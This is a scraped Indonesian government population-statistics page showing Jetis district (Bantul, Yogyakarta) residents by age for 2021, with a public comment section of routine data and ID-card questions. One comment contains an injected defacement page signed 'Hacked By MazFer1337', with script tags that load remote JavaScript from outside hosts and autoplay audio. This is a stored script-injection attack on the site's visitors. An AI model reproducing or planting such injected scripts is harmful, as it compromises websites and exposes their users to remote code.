Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN JETIS, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaPATALANCANDENSUMBER AGUNGTRIMULYOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun127129 256117131 248174161 335215178 393633 599 1.232
2 tahun7365 1389090 180113120 233128136 264404 411 815
3 tahun8372 1558871 15912889 217146129 275445 361 806
4 tahun9079 1697165 13694100 19413084 214385 328 713
5 tahun10080 1809985 184102102 204148122 270449 389 838
6 tahun9978 1779080 170126113 239142133 275457 404 861
7 tahun9186 1778175 156110102 212145128 273427 391 818
8 tahun10487 19110074 174140121 261136131 267480 413 893
9 tahun9880 1789299 191105125 230168174 342463 478 941
10 tahun8779 16610778 185116114 230157148 305467 419 886
11 tahun8584 1699780 17711187 198136153 289429 404 833
12 tahun10390 19310290 192117100 217159151 310481 431 912
13 tahun8397 1809490 184109127 236152147 299438 461 899
14 tahun9083 1739886 184105122 227146142 288439 433 872
15 tahun7979 1588180 161111117 228135133 268406 409 815
16 tahun9974 1737269 1418193 174150118 268402 354 756
17 tahun6977 1467488 162105105 210152123 275400 393 793
18 tahun9287 1798782 16911392 205130143 273422 404 826
19 tahun7968 1478170 151109102 211139123 262408 363 771
20 tahun7267 1398896 1848898 186134126 260382 387 769
21 tahun10093 1937483 157110116 226142139 281426 431 857
22 tahun7174 1458075 1558587 172107111 218343 347 690
23 tahun7875 1538070 1509199 190140148 288389 392 781
24 tahun7285 1578077 1578885 173109124 233349 371 720
25 tahun8392 1756767 13499114 213119141 260368 414 782
26 tahun7993 17210082 182115118 233152124 276446 417 863
27 tahun9678 1747081 151112122 234124119 243402 400 802
28 tahun8572 1577989 168120106 226131142 273415 409 824
29 tahun7591 1668692 178106107 213132139 271399 429 828
30 tahun90116 2069289 18196117 213117129 246395 451 846
31 tahun9377 1708283 165117103 220155113 268447 376 823
32 tahun8583 16811088 198121104 225127137 264443 412 855
33 tahun9184 1758085 16598103 201143152 295412 424 836
34 tahun7995 1749384 177128103 231102128 230402 410 812
35 tahun7883 1618079 159130105 235163141 304451 408 859
36 tahun9396 18911480 194121135 256148147 295476 458 934
37 tahun8886 1748292 174122141 263130146 276422 465 887
38 tahun110102 21295118 213146146 292201169 370552 535 1.087
39 tahun11098 20892102 194136106 242156166 322494 472 966
40 tahun9277 1699889 187122129 251169141 310481 436 917
41 tahun9579 1749596 191116115 231163156 319469 446 915
42 tahun88104 1928592 177110117 227126137 263409 450 859
43 tahun9889 1878196 17712590 215165136 301469 411 880
44 tahun82100 1828394 177113125 238160140 300438 459 897
45 tahun9087 1779172 163104116 220147154 301432 429 861
46 tahun10090 1909289 181129106 235142143 285463 428 891
47 tahun7072 1427084 15495107 202133148 281368 411 779
48 tahun9885 18311092 202103109 212141148 289452 434 886
49 tahun8677 1639289 181101113 214117130 247396 409 805
50 tahun6699 1658777 164100103 203156123 279409 402 811
51 tahun7082 15283114 197116114 230127152 279396 462 858
52 tahun9199 190102100 202113122 235129152 281435 473 908
53 tahun78108 1867974 153117104 221146129 275420 415 835
54 tahun8887 17510680 18698113 211102108 210394 388 782
55 tahun7792 1698498 182102112 214129135 264392 437 829
56 tahun84102 1869190 18197111 208120126 246392 429 821
57 tahun9486 1808169 15080120 200115136 251370 411 781
58 tahun8896 18410093 1939599 194114124 238397 412 809
59 tahun6468 1327388 16193105 198102103 205332 364 696
60 tahun7383 1567375 148103113 2169499 193343 370 713
61 tahun87100 1878583 168117112 22911095 205399 390 789
62 tahun7071 1416071 13196113 209105112 217331 367 698
63 tahun6668 1346262 1248082 1628076 156288 288 576
64 tahun6355 1184560 1057574 1498972 161272 261 533
65 tahun5062 1125144 957063 1337789 166248 258 506
66 tahun5266 1185355 1086964 1337556 131249 241 490
67 tahun3739 765530 855649 1056149 110209 167 376
68 tahun3553 884029 696145 1066942 111205 169 374
69 tahun4333 763834 724437 814843 91173 147 320
70 tahun3738 754150 913748 853640 76151 176 327
71 tahun3642 782532 573437 713653 89131 164 295
72 tahun2127 482628 543235 672538 63104 128 232
73 tahun2217 391524 392332 552030 5080 103 183
74 tahun1626 421718 352231 531626 4271 101 172
75 tahun1733 501849 672651 773138 6992 171 263
76 tahun2437 611924 432241 631440 5479 142 221
77 tahun1815 332121 423025 552236 5891 97 188
78 tahun1222 342229 512628 542530 5585 109 194
79 tahun2213 351315 282820 481726 4380 74 154
80 ke atas103166 26987164 251145201 346121236 357456 767 1.223
Jumlah6.0626.15912.2216.0946.06812.1627.7237.83815.5619.4209.38418.804 29.299 29.449 58.748
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih